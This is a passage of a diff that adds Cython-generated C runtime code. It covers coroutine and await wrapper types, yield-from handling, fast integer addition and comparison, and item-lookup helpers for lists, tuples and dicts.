CYTHON_UNUSED_VAR(kwargs); + PyErr_SetString(PyExc_TypeError, "cannot instantiate type, use 'await coroutine' instead"); + return NULL; +} +#endif +static PyObject *__Pyx_CoroutineAwait_reduce_ex(__pyx_CoroutineAwaitObject *self, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + PyErr_Format(PyExc_TypeError, "cannot pickle '%.200s' object", + Py_TYPE(self)->tp_name); + return NULL; +} +static PyMethodDef __pyx_CoroutineAwait_methods[] = { + {"send", (PyCFunction) __Pyx_CoroutineAwait_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_CoroutineAwait_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next yielded value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_CoroutineAwait_Close, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, + {"__reduce_ex__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_O, 0}, + {"__reduce__", (PyCFunction) __Pyx_CoroutineAwait_reduce_ex, METH_NOARGS, 0}, + {0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineAwaitType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CoroutineAwait_dealloc}, + {Py_tp_traverse, (void *)__Pyx_CoroutineAwait_traverse}, + {Py_tp_clear, (void *)__Pyx_CoroutineAwait_clear}, +#if !CYTHON_COMPILING_IN_PYPY + {Py_tp_new, (void *)__Pyx_CoroutineAwait_no_new}, +#endif + {Py_tp_methods, (void *)__pyx_CoroutineAwait_methods}, + {Py_tp_iter, (void *)__Pyx_CoroutineAwait_self}, + {Py_tp_iternext, (void *)__Pyx_CoroutineAwait_Next}, + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineAwaitType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + __pyx_CoroutineAwaitType_slots +}; +#else +static PyTypeObject __pyx_CoroutineAwaitType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine_wrapper", + sizeof(__pyx_CoroutineAwaitObject), + 0, + (destructor) __Pyx_CoroutineAwait_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC, + PyDoc_STR("A wrapper object implementing __await__ for coroutines."), + (traverseproc) __Pyx_CoroutineAwait_traverse, + (inquiry) __Pyx_CoroutineAwait_clear, + 0, + 0, + __Pyx_CoroutineAwait_self, + (iternextfunc) __Pyx_CoroutineAwait_Next, + __pyx_CoroutineAwait_methods, + 0 , + 0 , + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if !CYTHON_COMPILING_IN_PYPY + __Pyx_CoroutineAwait_no_new, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +#if PY_VERSION_HEX < 0x030500B1 || defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static CYTHON_INLINE PyObject *__Pyx__Coroutine_await(PyObject *coroutine) { + __pyx_CoroutineAwaitObject *await = PyObject_GC_New(__pyx_CoroutineAwaitObject, __pyx_CoroutineAwaitType); + if (unlikely(!await)) return NULL; + Py_INCREF(coroutine); + await->coroutine = coroutine; + PyObject_GC_Track(await); + return (PyObject*)await; +} +#endif +#if PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_await_method(PyObject *coroutine, PyObject *arg) { + CYTHON_UNUSED_VAR(arg); + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if defined(__Pyx_IterableCoroutine_USED) || CYTHON_USE_ASYNC_SLOTS +static PyObject *__Pyx_Coroutine_await(PyObject *coroutine) { + if (unlikely(!coroutine || !__Pyx_Coroutine_Check(coroutine))) { + PyErr_SetString(PyExc_TypeError, "invalid input, expected coroutine"); + return NULL; + } + return __Pyx__Coroutine_await(coroutine); +} +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 +static PyObject *__Pyx_Coroutine_compare(PyObject *obj, PyObject *other, int op) { + PyObject* result; + switch (op) { + case Py_EQ: result = (other == obj) ? Py_True : Py_False; break; + case Py_NE: result = (other != obj) ? Py_True : Py_False; break; + default: + result = Py_NotImplemented; + } + Py_INCREF(result); + return result; +} +#endif +static PyMethodDef __pyx_Coroutine_methods[] = { + {"send", (PyCFunction) __Pyx_Coroutine_Send, METH_O, + (char*) PyDoc_STR("send(arg) -> send 'arg' into coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"throw", (PyCFunction) __Pyx_Coroutine_Throw, METH_VARARGS, + (char*) PyDoc_STR("throw(typ[,val[,tb]]) -> raise exception in coroutine,\nreturn next iterated value or raise StopIteration.")}, + {"close", (PyCFunction) __Pyx_Coroutine_Close_Method, METH_NOARGS, + (char*) PyDoc_STR("close() -> raise GeneratorExit inside coroutine.")}, +#if PY_VERSION_HEX < 0x030500B1 + {"__await__", (PyCFunction) __Pyx_Coroutine_await_method, METH_NOARGS, + (char*) PyDoc_STR("__await__() -> return an iterator to be used in await expression.")}, +#endif + {0, 0, 0, 0} +}; +static PyMemberDef __pyx_Coroutine_memberlist[] = { + {(char *) "cr_running", T_BOOL, offsetof(__pyx_CoroutineObject, is_running), READONLY, NULL}, + {(char*) "cr_await", T_OBJECT, offsetof(__pyx_CoroutineObject, yieldfrom), READONLY, + (char*) PyDoc_STR("object being awaited, or None")}, + {(char*) "cr_code", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_code), READONLY, NULL}, + {(char *) "__module__", T_OBJECT, offsetof(__pyx_CoroutineObject, gi_modulename), 0, 0}, +#if CYTHON_USE_TYPE_SPECS + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CoroutineObject, gi_weakreflist), READONLY, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyGetSetDef __pyx_Coroutine_getsets[] = { + {(char *) "__name__", (getter)__Pyx_Coroutine_get_name, (setter)__Pyx_Coroutine_set_name, + (char*) PyDoc_STR("name of the coroutine"), 0}, + {(char *) "__qualname__", (getter)__Pyx_Coroutine_get_qualname, (setter)__Pyx_Coroutine_set_qualname, + (char*) PyDoc_STR("qualified name of the coroutine"), 0}, + {(char *) "cr_frame", (getter)__Pyx_Coroutine_get_frame, NULL, + (char*) PyDoc_STR("Frame of the coroutine"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CoroutineType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_am_await, (void *)&__Pyx_Coroutine_await}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_methods, (void *)__pyx_Coroutine_methods}, + {Py_tp_members, (void *)__pyx_Coroutine_memberlist}, + {Py_tp_getset, (void *)__pyx_Coroutine_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_CoroutineType_spec = { + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_CoroutineType_slots +}; +#else +#if CYTHON_USE_ASYNC_SLOTS +static __Pyx_PyAsyncMethodsStruct __pyx_Coroutine_as_async = { + __Pyx_Coroutine_await, + 0, + 0, +#if PY_VERSION_HEX >= 0x030A00A3 + 0, +#endif +}; +#endif +static PyTypeObject __pyx_CoroutineType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "coroutine", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, +#if CYTHON_USE_ASYNC_SLOTS + &__pyx_Coroutine_as_async, +#else + 0, +#endif + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, +#if CYTHON_USE_ASYNC_SLOTS && CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 && PY_VERSION_HEX < 0x030500B1 + __Pyx_Coroutine_compare, +#else + 0, +#endif + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + 0, + __pyx_Coroutine_methods, + __pyx_Coroutine_memberlist, + __pyx_Coroutine_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Coroutine_init(PyObject *module) { + CYTHON_MAYBE_UNUSED_VAR(module); +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineType_spec, NULL); +#else + __pyx_CoroutineType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_CoroutineType = __Pyx_FetchCommonType(&__pyx_CoroutineType_type); +#endif + if (unlikely(!__pyx_CoroutineType)) + return -1; +#ifdef __Pyx_IterableCoroutine_USED + if (unlikely(__pyx_IterableCoroutine_init(module) == -1)) + return -1; +#endif +#if CYTHON_USE_TYPE_SPECS + __pyx_CoroutineAwaitType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CoroutineAwaitType_spec, NULL); +#else + __pyx_CoroutineAwaitType = __Pyx_FetchCommonType(&__pyx_CoroutineAwaitType_type); +#endif + if (unlikely(!__pyx_CoroutineAwaitType)) + return -1; + return 0; +} + +/* GetAwaitIter */ +static CYTHON_INLINE PyObject *__Pyx_Coroutine_GetAwaitableIter(PyObject *o) { +#ifdef __Pyx_Coroutine_USED + if (__Pyx_Coroutine_Check(o)) { + return __Pyx_NewRef(o); + } +#endif + return __Pyx__Coroutine_GetAwaitableIter(o); +} +static void __Pyx_Coroutine_AwaitableIterError(PyObject *source) { +#if PY_VERSION_HEX >= 0x030600B3 && PY_VERSION_HEX < 0x030d0000 || defined(_PyErr_FormatFromCause) + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + _PyErr_FormatFromCause(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); +#elif PY_MAJOR_VERSION >= 3 + PyObject *exc, *val, *val2, *tb; + __Pyx_TypeName source_type_name = __Pyx_PyType_GetName(Py_TYPE(source)); + assert(PyErr_Occurred()); + PyErr_Fetch(&exc, &val, &tb); + PyErr_NormalizeException(&exc, &val, &tb); + if (tb != NULL) { + PyException_SetTraceback(val, tb); + Py_DECREF(tb); + } + Py_DECREF(exc); + assert(!PyErr_Occurred()); + PyErr_Format(PyExc_TypeError, + "'async for' received an invalid object from __anext__: " __Pyx_FMT_TYPENAME, source_type_name); + __Pyx_DECREF_TypeName(source_type_name); + PyErr_Fetch(&exc, &val2, &tb); + PyErr_NormalizeException(&exc, &val2, &tb); + Py_INCREF(val); + PyException_SetCause(val2, val); + PyException_SetContext(val2, val); + PyErr_Restore(exc, val2, tb); +#else + CYTHON_UNUSED_VAR(source); +#endif +} +static PyObject *__Pyx__Coroutine_GetAwaitableIter(PyObject *obj) { + PyObject *res; +#if CYTHON_USE_ASYNC_SLOTS + __Pyx_PyAsyncMethodsStruct* am = __Pyx_PyType_AsAsync(obj); + if (likely(am && am->am_await)) { + res = (*am->am_await)(obj); + } else +#endif +#if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + if (PyCoro_CheckExact(obj)) { + return __Pyx_NewRef(obj); + } else +#endif +#if CYTHON_COMPILING_IN_CPYTHON && defined(CO_ITERABLE_COROUTINE) +#if PY_VERSION_HEX >= 0x030C00A6 + if (PyGen_CheckExact(obj) && (PyGen_GetCode((PyGenObject*)obj)->co_flags & CO_ITERABLE_COROUTINE)) { +#else + if (PyGen_CheckExact(obj) && ((PyGenObject*)obj)->gi_code && ((PyCodeObject *)((PyGenObject*)obj)->gi_code)->co_flags & CO_ITERABLE_COROUTINE) { +#endif + return __Pyx_NewRef(obj); + } else +#endif + { + PyObject *method = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, __pyx_n_s_await, &method); + if (likely(is_method)) { + res = __Pyx_PyObject_CallOneArg(method, obj); + } else if (likely(method)) { + res = __Pyx_PyObject_CallNoArg(method); + } else + goto slot_error; + Py_DECREF(method); + } + if (unlikely(!res)) { + __Pyx_Coroutine_AwaitableIterError(obj); + goto bad; + } + if (unlikely(!PyIter_Check(res))) { + __Pyx_TypeName res_type_name = __Pyx_PyType_GetName(Py_TYPE(res)); + PyErr_Format(PyExc_TypeError, + "__await__() returned non-iterator of type '" __Pyx_FMT_TYPENAME "'", res_type_name); + __Pyx_DECREF_TypeName(res_type_name); + Py_CLEAR(res); + } else { + int is_coroutine = 0; + #ifdef __Pyx_Coroutine_USED + is_coroutine |= __Pyx_Coroutine_Check(res); + #endif + #if PY_VERSION_HEX >= 0x030500B2 || defined(PyCoro_CheckExact) + is_coroutine |= PyCoro_CheckExact(res); + #endif + if (unlikely(is_coroutine)) { + /* __await__ must return an *iterator*, not + a coroutine or another awaitable (see PEP 492) */ + PyErr_SetString(PyExc_TypeError, + "__await__() returned a coroutine"); + Py_CLEAR(res); + } + } + return res; +slot_error: + { + __Pyx_TypeName obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "object " __Pyx_FMT_TYPENAME " can't be used in 'await' expression", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + } +bad: + return NULL; +} + +/* CoroutineYieldFrom */ + static PyObject* __Pyx__Coroutine_Yield_From_Generic(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + PyObject *source_gen = __Pyx__Coroutine_GetAwaitableIter(source); + if (unlikely(!source_gen)) { + return NULL; + } + if (__Pyx_Coroutine_Check(source_gen)) { + retval = __Pyx_Generator_Next(source_gen); + } else { + retval = __Pyx_PyObject_GetIterNextFunc(source_gen)(source_gen); + } + if (retval) { + gen->yieldfrom = source_gen; + return retval; + } + Py_DECREF(source_gen); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_Coroutine_Yield_From(__pyx_CoroutineObject *gen, PyObject *source) { + PyObject *retval; + if (__Pyx_Coroutine_Check(source)) { + if (unlikely(((__pyx_CoroutineObject*)source)->yieldfrom)) { + PyErr_SetString( + PyExc_RuntimeError, + "coroutine is being awaited already"); + return NULL; + } + retval = __Pyx_Generator_Next(source); +#ifdef __Pyx_AsyncGen_USED + } else if (__pyx_PyAsyncGenASend_CheckExact(source)) { + retval = __Pyx_async_gen_asend_iternext(source); +#endif + } else { + return __Pyx__Coroutine_Yield_From_Generic(gen, source); + } + if (retval) { + Py_INCREF(source); + gen->yieldfrom = source; + } + return retval; +} + +/* PyIntBinop */ + #if !CYTHON_COMPILING_IN_PYPY +static PyObject* __Pyx_PyInt_AddObjC(PyObject *op1, PyObject *op2, long intval, int inplace, int zerodivision_check) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval 